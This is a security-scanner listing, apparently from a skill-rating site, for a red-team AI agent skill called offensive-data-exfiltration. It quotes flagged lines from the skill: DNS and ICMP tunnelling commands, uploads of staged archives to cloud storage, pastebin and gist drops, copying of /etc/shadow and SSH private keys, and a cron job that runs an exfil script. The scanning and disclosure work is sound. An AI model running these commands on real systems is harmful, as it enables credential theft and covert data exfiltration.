offensive-data-exfiltration

72 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a data skill usually connects to databases or online services with your credentials.

By SnailSploit/Claude-Red (GitHub) · data · 10,590 stars · scanned at commit a8de813

Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), an…

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this.

Found in 16 places.

Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 29ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 41./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 48iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

Show 13 more

Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 59dns2tcpd -f /etc/dns2tcpd.conf
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 109curl -s -H "Host: your-collection.azureedge.net" \
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 122curl -X POST -H 'Content-type: application/json' \
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 153sysctl -w net.ipv4.icmp_echo_ignore_all=1
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 162ptunnel-ng -r0.0.0.0 -R22 # server (attacker)
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 204curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 286steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f # JPEG/BMP
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 331exiftool -Comment="$(base64 secret.enc)" carrier.jpg # EXIF embed
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 352base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt # base64 chunks
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 388openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 413chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 454mkdir -p /tmp/.cache/updates
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 477(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -

Sends data to these websites: api.github.com, pastebin.com, bucket.s3.amazonaws.com, exfilacct.blob.core.windows.net

This is disclosed by the author in the skill's SKILL.md or README. Expected for a data skill.

Found in 9 places.

Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 109curl -s -H "Host: your-collection.azureedge.net" \
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 122curl -X POST -H 'Content-type: application/json' \
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 131requests.post("https://api.github.com/gists",

Show 6 more

Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 139Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 204curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 213Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 398import base64, urllib.request
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 403req = urllib.request.Request(url)
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 406try: urllib.request.urlopen(req)

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README. Expected for a data skill.

Found in 1 place.

Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 455cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null

Changes files outside its own folder

The author does not mention this.

Found in 1 place.

Skills/post-exploitation/offensive-data-exfiltration/SKILL.md, line 455cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null

Safer alternatives

Low-risk skills in the same category (data) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'offensive-data-exfiltration' ] || [ -L ~/.agents/skills/'offensive-data-exfiltration' ]; then echo 'A skill folder named offensive-data-exfiltration already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/post-exploitation/offensive-data-exfiltration' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/post-exploitation/offensive-data-exfiltration' ~/.agents/skills/'offensive-data-exfiltration' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-data-exfiltration' ~/.claude/skills/'offensive-data-exfiltration' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.

SkillTrust badge for SnailSploit/Claude-Red

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/SnailSploit/Claude-Red.svg)](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)

Score history

Date	Version	Score
2026-11-08	`a8de813`	72
2026-11-07	`a8de813`	72